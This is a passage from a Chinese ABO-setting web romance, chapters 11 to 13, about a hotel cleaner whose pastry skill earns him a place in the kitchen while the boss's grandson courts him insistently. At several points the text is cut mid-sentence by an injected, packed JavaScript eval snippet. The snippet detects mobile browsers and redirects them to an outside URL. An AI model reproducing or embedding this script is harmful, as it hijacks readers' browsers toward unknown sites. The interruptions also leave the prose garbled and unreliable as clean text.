冉小风疑惑地看着他离去的方向,拿出手机,思索再三,他没有打电话过去打扰蒋琳,而是发了个消息询问。 刚发出去,他又有些后悔,虽说这事儿是张大爷强人所难,但仔细一想,他昨天那假期本就不正常,他们的工作都是安排好的,工作量也很固定,他多放一天假,就意味着别人要多干一些活来补他的。 看来今天他的感觉不是错觉,那些异样的眼光是真实存在的,只不过就张大爷勇猛一点儿,把这事情提出来了。 冉小风长按自己的消息,撤回了,可没想到晚了一步,蒋琳已经看见,并且给他回了一句“我知道了”。 他松开屏幕,叹了口气,收回手机开始了今天的工作。 和平时一样,冉小风完成了早晨的各项任务,最后才去穆与的房间打扫。 这次敲门没多久,穆与主动前来开门了,他满脸的欣喜,刚打开门就将冉小风拉了进去。 “小风哥,我有一个好消息要告诉你。”穆与的语气都带着兴奋,两手扣着冉小风的肩膀,“我把你做的蛋糕带给我奶奶吃,她可喜欢了,再过两周是她的七十岁寿宴,她要我安排你进后厨,到时候负责帮忙制作甜点。” 穆与突如其来的一连串话语打的冉小风脑子发蒙,他好一会儿才反应过来说的是什么。 他眨了几下眼睛,只觉气血上涌,激动得有一会儿忘记了怎么说话。 他将胳膊举到半空,又不知道该放在哪儿,就着这个姿势直踮脚,说话的嗓音都有些发抖:“谢谢,真的很谢谢你。” 他怎么也不会想到,机遇来的如此快,还是这样大的机遇,穆与的奶奶穆千鹤,是现在穆世集团的老板,自己的手艺能被这样一名尊贵权威的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆与没有坚持,收回手,眼底倒映着冉小风凌乱的脸,他满意地舔了下嘴唇,脸上满是胜利者的笑容:“你的嘴唇和你的信息素一样甜。” “……”冉小风低下头,因为过度的紧张显得有些呆滞,“我去工作……” 他的声音都带了些哑,朝房间里走了几步,又想起工具车还在外面,只能埋着头退回来,开门找车。 穆与看热闹似的围观他的慌乱动作,在他推着车进房间时道:“我今天中午有点事,不能和你一起吃饭了。” 冉小风顿了顿:“好。” 他这才注意到,穆与穿着一套正装,和第一次见时的那套不一样。 穆与整理了一下衣服,道:“下午我会尽早回来,等你工作结束,我带你去餐厅后厨。” 冉小风点头:“好。” 穆与没急着走,看着冉小风迟钝的样子,他忍不住走过去,抬手蹭了蹭冉小风耳侧的头发,他的头发偏软,捏在手上手感很好,穆与搓了搓又替他顺开,这才满意地离开了房间。 冉小风看着穆与离去的地方,方才被蹭过的耳朵红得发烫,他抿了抿嘴唇,唇上的湿润反复提醒着他刚才发生的事,他顾不上穿的是工作服,抬起胳膊将嘴唇擦了擦,心脏却跳得更快了。 他这二十多年来自顾不暇,从没心思研究恋爱的事,也没人能咨询。 他们才认识几天,就像这个样子,这是正常的吗? 11.第 11 章 冉小风整理完穆与的房间,已经临近中午,他将工具放回指定区域,脱下了工作服,打算去吃午饭。 来穆世酒店已经有四天,这竟然是他第一次独自用餐,他对这里人生地不熟,今天正好有时间了解一下。 他将楼下附近的小摊小店认了认,挑了家看起来还算干净的面食店,坐在店里吃了碗素面,又翻了翻手机里收藏的学习笔记,直到快到下午工作时间,才重新动身回去。 下午主要清洁的是几个公共区域,需要整理的房间仅有两间,冉小风很快进屋清理完,转了转发酸的胳膊,没怎么休息便去了这层楼的大堂。 虽然不知道穆与什么时候回,但他想快点结束今天的工作,穆与一回,他便能跟着去后厨参观了。 一想到接下来会发生的事,冉小风都激动得手抖,这栋酒店不光提供住宿,还经常举办各种盛大的宴会,邀请来的都是上流圈子里的权威人士,能在这里工作的厨师,一定十分优秀,他就算只是去打个杂,都能有不少收获。 他只觉自己干劲满满,工作的速度都快了不少,清理完大堂,他推着车便往下一个地方走。 拐进走廊间,张大爷突然出现在转角,冉小风本就速度快,险些撞着他。 “哎哟,哎哟。”张大爷夸张地叫了两声,后退几步,瞪着冉小风怒道,“路都不看,你要撞死我啊。” “……抱歉。”冉小风没多说什么,这大爷明显是想没事找事,多做纠缠是浪费时间。 他推着车绕到张大爷旁边,想走过去,哪知张大爷穷追不舍,拽着他的车边拦住他。 “就这么一句就完啦?你怎么这么没礼貌!”张大爷说完朝着冉小风身后扬了扬下巴,“那厕所你打扫完没?” 冉小风暗暗深呼吸,平复了一下心情:“张大爷,不论是换班还是别的,大家都是按照每天早上拿到的计划做事,今天我的计划里面没有那片区域。” 张大爷一下变了脸:“你少给我扯那些,你才来几天,能知道些什么?我都在这干了大半年了,我还不清楚吗?你这种特殊情况属于临时调配,当然要还!不信你去问主管,我现在就给她打电话。” 张大爷说着真拿出手机,眯着眼迟缓地找出蒋琳的电话号码,拨通了过去。 冉小风连忙伸手,将手机抢了过来,在电话还没打通时按了挂断按钮。 他本来还以为张大爷只是恐吓他,没想到真的给蒋琳打了电话,搞得他自己都疑惑起来,如果真的像张大爷说的那样,今天他给蒋琳发消息过去时,蒋琳怎么没有说明? 其实站在张大爷的角度,冉小风特别能理解,他们做这种工作的,挣得都是辛苦钱,原本休息的时间就很少,再帮别人顶个班,就算有补贴算下来也很亏,更何况张大爷刚添了小孙子,肯定想多一些时间回去陪他。 再加上张大爷不清楚他请假的原因,只看见他上班没几天就请假,估计心里更是不平衡。 这样一件小事情,没必要闹到主管那里,要是因为这个害得张大爷丢了工作,他得愧疚好久。 自己手机被抢走,张大爷整张脸都因发怒狰狞,还没发作,冉小风已经将手机还给了他。 “别麻烦蒋主管了,我现在去帮你做。”冉小风拉着工具车调头,朝着不远处的厕所走去。 他这么妥协,张大爷反而有些挂不住面子,他仰着脑袋走在冉小风身后,嘴上依旧不饶人:“少给我装好人!你这种我见得多了去了,一个比一个会装,你这来了没几天,架子比谁都大,你知道你请一次假,得麻烦多少人啊?也就我在这里做得久,才好来找你说,你要真有良心,就自己去问其他几个人帮你做了啥,一个个还了。” 冉小风不说话,走进厕所,他将工具车推到一边,穿上专用手套便开始了工作,他自己的活还没做完,不能因为这个耽误了时间,可他那动作和背影,在张大爷眼里就跟赌气似的,于是讲话也更变本加厉。 冉小风也不理,闷头拿马桶刷刷着厕坑四周,任张大爷自己在后面骂骂咧咧。 他挨个儿清洁,跪趴在地上擦角落的瓷砖,身后传来了熟悉的声音。 “冉小风,你这是在做什么?” 冉小风身体一僵,没想到穆与会跑到这里来,穆与这几天一直喊他小风哥,突然叫他全名,他竟然不太适应。 他有些尴尬地转身,仰头看向穆与,穆与站在门口,居高临下地俯视着他,脸色很是阴沉,语气也很冷漠:“你应该没有这里的工作吧。” 冉小风还没想好怎么解释,张大爷已经兴冲冲地凑了过去:“这不是穆少爷嘛!” 张大爷指指冉小风,一脸谄媚地笑,“他昨天没来,我帮他顶的班,现在正还我呢。” “……”这下冉小风也不知道怎么解释了。 穆与瞥向张大爷:“这样啊,昨天是我要他请的假,也是我要蒋琳安排的,既然你今天要他补你的工作,那工资还是正常发给他,没问题吧?” 这话一说完,张大爷的笑都僵在了脸上,他哪敢说有问题,就算真有百般不情愿,也只能继续笑着说:“没问题,没问题……” 只不过那笑容已经假得瞎子都能看穿。 “既然这样,你就先去忙你自己的工作吧。”穆与道。 这话分明是赶客,那张大爷也不傻,连忙点头哈腰地走了。 张大爷一走,穆与的表情更臭了,连信息素都变强烈了一些,冉小风抿了抿唇,问:“你怎么到这里来了?” 穆与语气不是很好,反问他:“你说呢?” 冉小风又闭嘴了,他自己也知道自己问的一句废话,他现在清理的是Beta的卫生间,该是Alpha止步的位置,穆与会跑到这里来,大概率是来找他的。 “我回来路过这里,闻到你的信息素了,就过来看看。”穆与解释完,又拿出手机,“我给蒋琳打电话,真不知道她到底在干嘛……” 冉小风连忙阻止:“别打!” 他走向穆与,下意识抬手想拦,胳膊刚抬起来一半,穆与猛地往后退了两步,看向他的眼神里有一丝警惕,被他敏锐地捕捉到了。 冉小风愣在原地,手轻轻攥成拳,他忽然意识到自己还戴着手套,这双手刚刷过茅坑,身上的衣服也不干净,他悻悻将手放下来,不知为何,觉得心里有些不是滋味。 穆与放下手机,似乎也觉得现在这氛围有些尴尬,他转移了话题:“你的工作都结束了吗?” “……还没。” “自己的活都没干完,你干嘛答应帮那个人打扫这里。”穆与苦笑,“先别做了,我带你去楼上餐厅。” 冉小风微怔:“可我的工作还没做完。” “回来再做也不迟,我会跟蒋琳说清楚的。”穆与道,“餐厅的事情也是工作,而且比你现在做的事重要得多,先和我一起走吧。” “……好。” 穆与重新恢复一脸温和的笑容,道:“那我在房间等你。” “好。” 穆与先一步离开了,冉小风也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820809|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧推着工具车出去。 他将车还回仓库,脱了工作服,又去将手和脸都好好洗了洗,抬着胳膊左闻右嗅,确定没什么异味,这才去房间找穆与。 穆与已经将那身西服换了下来,重新回到平时懒散的状态,尽管这两种形象天差地别,但穆与却能非常好的全部驾驭,即使突然转变也不突兀,主要还是脸够养眼。 他跟在穆与旁边,一起去了专用电梯,20层以上的电梯都有权限,需要刷卡才能抵达相应楼层,两人一起进了电梯,穆与按下36层,站到后方。 电梯里谁也没说话,冉小风盯着电子屏,看着数字一个个往上跳。 他的手忽然被抓住了。 冉小风吓了一跳,扭过头,发现穆与走到了他身边,对上他的视线,穆与张开手指,插入他的指缝间收拢。 “小风哥,其实刚刚在那种地方看见你,我有一点生气。”穆与说。 冉小风低下头,感觉穆与微微施力,抓着他的手举在两人中间。 “你这双手是拿来制作甜品的,怎么能拿来干那种脏活?”穆与继续说,“我也不想看到你做那些,我会心疼的。” “那是我的工作。” “又不是非得做那些,等这次宴会完美落幕,你可以继续留在后厨,做你喜欢的事。” 冉小风睫毛颤了颤:“可是我需要先工作攒钱。” “后厨里也是工作,当然会有工资,你如果表现得好,没准比现在的工资还要高。”见冉小风看过来,穆与笑着眨了眨眼睛,“不过,我还是希望我的房间能由你亲自整理,可以吗?” 冉小风点头:“当然可以,你是我老板,你说了算。” 穆与意味不明地看着他:“我现在也不只是你的老板。” “……”那还是什么? 这个疑问在脑子里晃过,就要从冉小风口中说出,却因为片刻的愣怔,错过了最佳的时间。 他想问问穆与,他们现在是什么关系?又觉得这个问题问出来有些可笑。 都已经做了这么亲密的行为,答案应该显而易见了吧,虽说他自己也迷迷糊糊,但穆与对他做这些,他并不讨厌,和穆与接吻让他很舒服,穆与的信息素也很吸引他。 他已经快27岁了,比穆与大了不少,为这些事情优柔寡断,哪里像年长的样子。 冉小风思考的时候表情愣愣的,穆与盯着看了半天,忽然凑了过来,轻轻倚靠着他的肩膀。 “小风哥,你的信息素越来越浓了,就这么一会儿,我感觉电梯里全是你的气味。”穆与说着深深地吸气,“你会闻到我的信息素吗?” “嗯,但我已经习惯了。” 冉小风微微低头,和最开始相比,他觉得自己已经适应了很多,尽管穆与的气味也时常萦绕在他身边,他已经没有什么太大的反应,也可能是抑制药的作用。 低头的动作让后颈更多的暴露出来,穆与的鼻尖蹭着腺体边的皮肤,嗓音也压低了些:“那我也得尽快习惯才行。” 那块敏感的皮肤被蹭的有些痒,冉小风微微眯起眼睛,他们现在的距离过于暧昧,却又恰到好处得让他有些动情。 他感觉到电梯的速度在放慢,猛地回过神,轻轻推搡开穆与,电梯“叮”得响了一声,在两人分开后缓缓打开。 一道人影从电梯缝隙照进来,冉小风抬起头,看着面前身形高挑的男人,一下有些傻眼。 这样完美的长相与身型,他几乎一眼就认出来,这人是穆与的哥哥。 12.第 12 章 穆与近五年一直待在国外读书,知道他的人不多,但他的哥哥穆向辰,只要听说过穆世集团,就不会不认识。 穆千鹤六十岁时生了场重病,大病初愈后整个人都变了样,她不得不从高强度的工作中脱身,奈何自己的两个孩子都是干不成大事的废物,唯一能托付的,竟然只有自己那个二十岁不到的孙子。 从那以后,穆向辰的名字就和穆世酒店捆绑了,虽然那时他年纪尚轻,但也将酒店办的井井有条,甚至还衍生了许多新项目。 他经常活跃在各种新闻中,又因出色的长相和优质的Alpha血统,得到了许多人的关注,冉小风一个工作起来两耳不闻窗外事的人,都时常听到他的消息。 穆向辰似乎没想到电梯里有人,看到他们时愣了一下,他扫过穆与,视线落在冉小风身上。 “是你?”穆向辰挑起眉毛,嘴角勾出一道弧度,“你还记得我吗?” 冉小风点点头:“嗯,记得。” “你是来……”穆向辰话说到一半,意识到什么,“昨天那个蛋糕是你做的?” 冉小风又点了点头,有些不好意思地笑:“这几年都没怎么做,手艺变差了。” “你太谦虚了,奶奶很喜欢,她不太爱吃甜食,昨天都吃了不少,还要穆与一定邀你参加她的寿宴。”穆向辰说完,又有些疑惑,“你这几年在做别的事?那昨天的蛋糕……” “是休息的时候做的。”冉小风道,“我现在在这里工作。” “这里?我竟然不知道,你是哪个部门的?” “我是20层的保洁员。” “……” 气氛似乎有一瞬间的沉闷,穆向辰维持着多年的修养,脸上依旧挂着微笑,但比刚刚疏远了不少:“这样啊。” “好了,叙旧也该叙完了吧?”穆与忽然打断了他们的对话,他拦在二人中间,表情有些古怪。 穆向辰这才看向穆与,他扫过穆与那条破了几个大洞的裤子,表情严肃:“你在这里干什么?怎么又穿上这身破烂衣服了。” “这是潮流,你懂什么。”穆与脸黑了一半,语气也不算好,“我带他来找后厨师傅啊,不是要他帮忙制作宴会的甜品吗?” “你昨天怎么没说他就在这里工作?” “这有什么好说的,他不在这里工作,我怎么遇见他?小风哥,我们赶紧走吧。”穆与不想再和穆向辰纠缠,揽着冉小风的肩往前走。 冉小风被迫往前走了几步,将穆向辰甩在了身后,他赶紧回头,礼貌地对穆向辰说了声再见,穆与推他推得更用力了。 直到二人走远,穆向辰的视线还没有收回来,他注视着他们的背影,表情很不愉快。 穆与的脸也很臭,他一股脑带着冉小风走到餐厅门口,脸色都没有缓和,冉小风只敢偷偷观察,没好多问。 穆与回头看了眼电梯口,没看见人才呼出一口气,不爽道:“你跟他说那么多话干什么。” 前前后后也没说几句。冉小风虽然这样想,但嘴上小心翼翼地问:“你们的关系不好吗?” 穆与撇撇嘴:“他老管我,还很啰嗦,我不喜欢,我们别提他了,赶紧进去吧。” 穆与对于穆向辰一句话也不想多说,冉小风没有多问,跟着他一起穿过餐厅,进了后厨。 刚踏进去,冉小风只觉眼前一亮,他第一次见这样大的地方,区域分明,工具琳琅满目,工作人员正忙碌着准备晚餐,工作如流水线一般水到渠成,连来接应的人都没有。 穆与扬手挥了挥扑面而来的油烟味,捂着鼻子打了个电话,没过一会儿,一个人从清洁区走出来,笑着迎上前:“穆少爷,真不好意思,现在正是忙的时候,刚才实在腾不出人手。” 穆与笑得很官方:“你们辛苦了,告诉我位置就好,我们自己过去。” “那哪儿行,我现在带你们去,西点房在前面,您跟我来。” 负责人领着二人往前走,穿过布满油烟的区域,进了另一个房间。 刚走进去,整个氛围都变了,西点房没有切菜炒菜嘈杂的声音,也没有浓重的油烟气,只有满屋飘香的奶油味,待在这里好像时间都变慢了一些。 负责人指了指不远处正盯着别人裱花的人:“穆少爷,那位就是曹庄师傅,西点房的领班。” 穆与点了下头。 “那我就先回去了?”负责人试探着问。 “好,你去忙吧。”穆与说完看向冉小风,“我们过去。” 还没走到地方,穆与先叫了曹庄一声,曹庄抬起头,原本一脸严厉的表情缓和了些:“穆少爷,您来了。” 穆与在曹庄面前停下,将冉小风往前推了些:“这位就是我哥今早跟您说的人,冉小风。” 曹庄虽然穿着和大家一样的工作服,但站那儿的气质却非常突出,一看就是经验丰富的老师傅。 刚才走近的时候,冉小风就注意到曹庄表情不太好,他偷偷朝一旁瞥了眼,那位裱花的大概是个新手,手法粗糙,勉强裱出来了形状,但有些拿不出手。 见曹庄看过来,冉小风腰板都挺直了,庄重地鞠了一个躬:“曹师傅好。” 曹庄点点头,果然不出他所料,朝着那位裱花的学徒抬了抬下巴:“我这徒弟学了一个月了,裱花还是这个鬼样,你帮帮他。” 冉小风知道,这是曹庄在考验他,他暗暗吸了口气,接过小徒弟递来的裱花袋,站在那半成品前面。 小徒弟裱的花虽然不好看,但大概能看出其中的主题,这种酒店平时的餐品不追求新颖的设计,要的是符合大众的口味,只需要裱出最普通的样式就好。 气氛有些紧张,冉小风停顿了片刻便动手了,他先看了小徒弟一眼,将原有的花刮去,便开始了自己的动作。 还好昨天在家里练习过,他的手还算稳,他有一个自己很满意的优点,即使再紧张,开始行动后也能迅速调整到最佳状态,很快就裱出一朵粉色桃花。 这一盘点心里有八块方形蛋糕,冉小风控制着花朵大小,粉色紫色黄色搭配,很快便完成了任务。 最后一朵花裱完,他舒了口气,看着自己完成的作品,下意识露出了欣慰的笑。 “哇,太厉害了!”那小徒弟眼睛都亮了,感慨道,“我什么时候能像你这样呀。” 冉小风回过神,有些不好意思地低下头:“谢谢。” 曹庄看着蛋糕也很满意:“确实不错,你练了多久?” “从小就喜欢,一直断断续续地练习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834539|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 曹庄睨了小徒弟一眼:“听听,你想有他一半的水平,至少再练半年,把这个端走,回来继续练习。” 小徒弟撇撇嘴,端着那盘蛋糕跑了。 冉小风这时候又紧张起来了:“曹师傅,我可以待在这里吗?” 曹庄笑道:“当然可以,现在就开始吗?先熟悉一下环境。” 冉小风一脸兴奋,话还没说出来,先被穆与打断了。 “他明天开始,今天还有些事。” 冉小风愣了愣,疑惑地看向穆与,穆与表情自然,什么也看不出。 曹庄没说什么,现在正是忙得时候,他很快就离开了。 曹庄走后,冉小风问:“今天还有什么事吗?” 穆与道:“你的工作还没做完,你忘了呀?” 冉小风这才想起自己的本职工作,他感觉脸上有些燥,来这里太兴奋,有点得意忘形了:“我现在就去。” 刚转过身,穆与又拦住他:“我开玩笑的,待会儿我就跟蒋琳说,你暂时不用做保洁的事了,从明天开始,你专心在这儿准备寿宴就好。” 冉小风担忧道:“那工资……” “筹备这么大的寿宴,肯定有提成呀,你这几天拿到的酬劳,绝对比一个月的工资还高。” 冉小风有些茫然,这么短的时间,就能拿到那么多钱?他从来没有过这种经历,有些想象不出来。 穆与叹了口气:“我明天也要开始上班了。” 冉小风眨了眨眼。 穆与烦道:“都是因为我哥,把我从国外叫回来,现在又逼我上班,我还没休息好呢。” “在自家公司上班,应该会很轻松吧。” “你想得太好了,我哥可不是那种好人,他只会想发设法地折磨我,不安排我出差都是我争取来的。”提起穆向辰,穆与的表情就臭臭的,“我一点儿也不想上班,多无聊呀,又不是没钱花,上班还得早起,明天八点就得起床了。” 冉小风不知道说什么,只能一声不吭地听穆与说。 谁又想上班呢?还不是为了生活,如果能让他上八点起床的班,他只怕会开心得睡不着吧。 穆与抓住冉小风的手道:“还好你也在这里,我会想办法溜出来找你的。” 冉小风笑起来:“还是好好上班比较重要。” 穆与举起冉小风的手亲了一口,随意道:“什么都没你重要。” 冉小风呼吸滞了一瞬,心脏快速跳起来,穆与随口说的话,都能让他有这样大的触动,他们现在的状态好像真的是热恋中的情侣。 穆与没注意到冉小风的变化,继续说:“我这段时间在找房子,等寿宴结束就要搬走了,到时候邀你来玩儿,你可不能拒绝。” 冉小风道:“好。” “那我们现在去做今天要做的事吧。”穆与道,“中午没吃上饭,晚上补上,我已经预约好了。” 冉小风笑起来:“好。” 两人一起朝外走去,一路上的人都在忙着工作,没人注意到他们交握的手。 冉小风看着被牵着的地方,穆与的手大他许多,掌心的温度传递过来,让他有种被包裹的安全感。 这是他第一次体会有人陪伴的幸福。 13.第 13 章 之后的几天,冉小风的工作迎来了巨大的转变,除了穆与的房间由他清理,他不再需要做其他保洁的工作,几乎全部身心都投入到两周后的宴会准备中。 曹庄虽然明面上没说,但冉小风能感受到自己很受重用,除了被安排准备寿宴中的常规甜点,他还被安排参与穆千鹤的生日蛋糕的制作当中。 冉小风本以为自己要走到现在这一步,得花上三年五载,甚至一辈子都打不到这样的高度,可实际却只用了三五天。 这一切都要得益于穆与的帮助。 穆与这段时间也开始了正式工作,按照他自己的说法,穆向辰不仅没把他当弟弟看,甚至都没把他当人看,他在酒店里连实习生的地位都比不上,大量繁琐的工作全丢给了他。 他每天早早不见人影,下午很晚下班,有时冉小风已经回到家,他还在办公室里待着。 尽管如此,穆与还是会每天中午来找他一起吃饭,也总有空闲时间跟他发消息,有时他忙着和曹庄学习手艺,闲下来看手机,上面多了好多条穆与的消息。 冉小风自己也没注意到,点开穆与消息时,自己脸上总挂着笑,就算每次发来的都是一些无意义的牢骚,他也会耐心看完,再认真地回复过去。 到了这个时候,他才真正尝到了恋爱的甜头,当初穆与向他袒露心意,他还觉得节奏太快无法适应,现在相处了这么些天,他竟已经习惯了穆与的存在。 他原以为感情都该是细水长流,现在却觉得热烈冲动也不错,在他看来,穆与的感情就是热烈的,像一团迅猛的火焰在燃烧,就算是一块冰块在身旁也难免消融,更何况是他。 虽然从未表现过,但他独自受苦了这么多年,又怎么会不渴望被人呵护的温暖? 光是现在站在这里工作,就足够他感谢穆与一辈子了。 冉小风一直忙碌到上午十点,曹庄去检查常规,他也有了些空闲的时间。 他放下手里的工具,摘掉手套,边往休息室走边掏手机,穆与果然又给他发了几条消息,除了几句抱怨,还分享了一些好笑的视频。 休息室现在没人,冉小风在角落坐下来,点开穆与分享的视频看,他平时很少关注网络,所以看什么都新鲜,再加上视频是穆与发的,他总能笑个不停。 “你在笑什么?这么开心。” 头顶忽然传来熟悉的声音,冉小风抬起头,有些惊讶地看着穆与:“你怎么来了?” “我想你了呀,所以就来看看你。”穆与在他身旁坐下,扫了眼他的手机屏幕,“是我分享给你的啊。” “嗯。”冉小风面上还带着笑,“我刚闲下来,才有时间看。” 穆与顺势靠在他肩上,一手自然地环住他的腰,握住他放在腿上的手,随意地捏着。 穆与没说话,但柔软的发丝扫着他的脸和脖颈,搞得他也没心思继续看视频了。 他关上手机,另一手盖在穆与的手背上,他很享受现在的状态,明明两人都没说话,却心意相通,仿佛岁月静好,美好的时间也被放慢拉长。 穆与收紧手臂,将冉小风搂紧了一些:“要是能一直这样就好了,一直抱着你什么也不干。” 冉小风觉得好笑:“不吃饭也不工作了吗?” “有什么好工作的,上班这么累,我才不想做呢,当初出国就是因为我哥答应我让我以后想干什么干什么,结果现在我毕业了,他就赖账。”穆与抱怨一通,脑袋朝冉小风脖子里钻了钻,长叹一口气,“小风哥,不如我们溜走,出去旅游吧。” 这么多天的相处,冉小风已经习惯了穆与想一出是一出的发言,他保持着笑容:“你又胡说八道。” “哪有,我是认真的。”穆与道,“你是不是还没有护照,我们可以先在国内玩,等你护照办好,再去国外。” “照你这么玩,得花不少钱,你要是就这么跑了,你哥会给你钱吗?” “……”穆与沉默了,好一会儿才嘟囔道,“要不是他掌握着我的经济命脉,我才不会听他的话。” 冉小风忍不住笑出了声,在他眼里穆与还跟个小孩似的,明明已经二十多岁,却还保持着天真幼稚的想法,但换位思考一下,如果他在这种环境下长大,应该也大差不差吧。 他忍俊不禁,乐道:“所以你要好好上班,攒到属于自己的财产,你哥就管不到你了。” 穆与撇撇嘴,没有说话。 冉小风移开自己的手:“好了,我要去工作了,你也赶紧回去吧。” 穆与抬起头:“这么快?我才来几分钟。” “本来就是忙里偷闲,等下有人进来看见也不好。”冉小风实话实说。 他没和穆与讨论过两人的关系,不确定穆与的想法,但就他自己而言,他暂时不太想让外人知道,他们两人身份悬殊,穆与又是这家酒店的贵公子,要是被其他人知道,少不了流言蜚语。 而且,虽然自己能在这里工作和穆与有很大的关系,但他希望自己的能力被认可,而不是靠男友的帮助上位。 他想站起来,穆与却捏着他的手不放,眼里满是怨气:“我冒着被我哥骂的风险来找你,你就想着赶我走,你怎么这么无情呀。” 冉小风无奈地叹了口气:“现在是工作时间,等中午吃饭的时候,你想怎么样就怎么样。” 穆与眼睛都亮了:“真的?” 冉小风点点头,他站了起来,穆与却还拽着他的手不放,他只能苦笑:“你听话一些,好好工作。” 穆与盯着他:“你亲我一口。” 冉小风愣了愣,心中哭笑不得,他真没想到穆与会做出这种幼稚的行为,而且在他眼里,竟然还有些可爱。 他弯下腰,思考了一秒,在穆与脸颊上落了一个很轻的吻,正想站起身,他手腕一紧,穆与施了些力气,将他的手腕往后扯,他本就没站稳,整个人都跌进穆与怀里。 冉小风还没反应过来,穆与的另一只手扣住他的后脑勺下压,用力地堵住了他的嘴唇。 信息素瞬间在他周围炸开,仿佛无数双手禁锢住他,让他动弹不得,即使亲了这么多次,他依然抵抗不住穆与的强势,只能被迫张开嘴,任他在嘴里胡搅蛮缠,将其中空气都掠夺了去。 他的胳膊抵着穆与的肩膀,手攥着穆与的衣服,努力从缝隙中汲取氧气,才不至于窒息。 穆与死死地扣着他,一味地索取着,直到那些氧气供给不足,冉小风不得不挣扎,才终于结束了这个饱含侵略性的吻。 他松开冉小风的后脑勺,脸退开了些,嘴唇却还在他唇上辗转摩挲,极近距离地注视着他:“这才叫亲。” “……”冉小风低头躲开他的脸,抿了抿湿润的嘴唇,“可以了吗?” 穆与轻轻笑了两声,没有回答冉小风的话,他搂紧了冉小风一些,手爬上冉小风的腰,大拇指蹭着衣缝压在腰间的皮肤上,话语像沉吟:“小风哥,我还能教你更有趣的事情。” 那手指仿佛点了火,烫得冉小风腰部发紧,他不是傻子,当然知道穆与是在说什么,他的心脏剧烈地跳动起来,脑子里阵阵发白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852167|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他清楚这不是紧张,而是恐惧。 穆与的手划过他的腰线,勾起他的裤子,他回过神,抓住穆与的胳膊。 “……这里不行。”冉小风飞速思考着说辞,“这里是休息室,随时都会有人进来。” 穆与的手没有动:“那在没有人的地方就可以吗?” “……” “小风哥,今天中午我们换个地方吃饭吧。”穆与将他搂得更紧,耐心地问,“就在我房间里好吗?” 即将步入炎热的夏季,两人衣服本就穿得单薄,这样贴得近了,连身体轮廓都能感知得一清二楚,他清晰地感觉到穆与的变化。 如果不是低着头,穆与就会看到他惨白的脸。 “不行。”冉小风道,“现在不可以。” “为什么?”穆与问,“你不是说我想怎么样就怎么样吗?” “……不早了,我得继续去工作了。”冉小风不再继续说下去,生硬地结束了这个话题。 他没等穆与回应,推开穆与站起身,转身飞快离开了休息室。 他走出了好远,走到完全闻不到穆与的气味,心脏还在急速跳动,他捂着胸口惊魂未定地喘息着。 他是Omega,即使是劣等,也是Omega,真和Alpha做这样的事,对他会是一辈子的影响,万一一不小心打上临时标记,后果更是严重。 他们才相处这么短的时间,对对方都没有深刻的了解,他知道穆与是个急性子,可这样亲密的事情,怎么能够这么草率? 冉小风一走,穆与的脸色就冷了下来,他烦躁地搓着头发,周围还萦绕着冉小风信息素的香味,刚被撩起来的欲望,迟迟消不下去。 他不明白,为什么偏偏是这个人,这样一个没有任何背景、生活凄苦的穷小子,甚至连Omega的等级都是最低下的劣等,为什么偏偏只有这个人的信息素,能让他接受。 最重要的是,这人还这么自命清高难搞定。 他活了二十年,头一次在一个人身上耗费这么多心思,结果过了这么多天,两人的进展还停留在吃饭聊天上,最多只是亲个嘴。 劣等Omega本就对Alpha的信息素不敏感,原本他的信息素还能有些作用,相处了这段时间,冉小风似乎已经免疫了,只有他还在被信息素深深影响着。 这样的事情,说出去都要被他的朋友笑话。 下面的欲望挤在贴身的西裤里,动一下都难受,穆与气急败坏地“啧”了一声,也顾不上什么笑话不笑话了,找到朋友的电话拨了过去,电话接通前,穆与都觉得自己好笑,他竟然已经到了要找朋友支招的程度。 “喂?”电话那头传来懒散的声音。 “下午喝酒,有事问你。”穆与直截了当地说。 那头乐得一笑:“大少爷才从良几天啊,怎么又喝?” 穆与忍着怒气揉揉眉心:“少废话,下午六点我下班,还是老地方。” “行吧,刚好下午没什么事。”那头道,“穆向辰够狠啊,给你定这么晚下班?” 这损友就爱哪壶不开提哪壶,穆与深吸一口气,忍住骂人的冲动,直接把电话掐了。 他盯着不远处半掩的门,冉小风刚刚就是从这里一声不吭地跑走的。 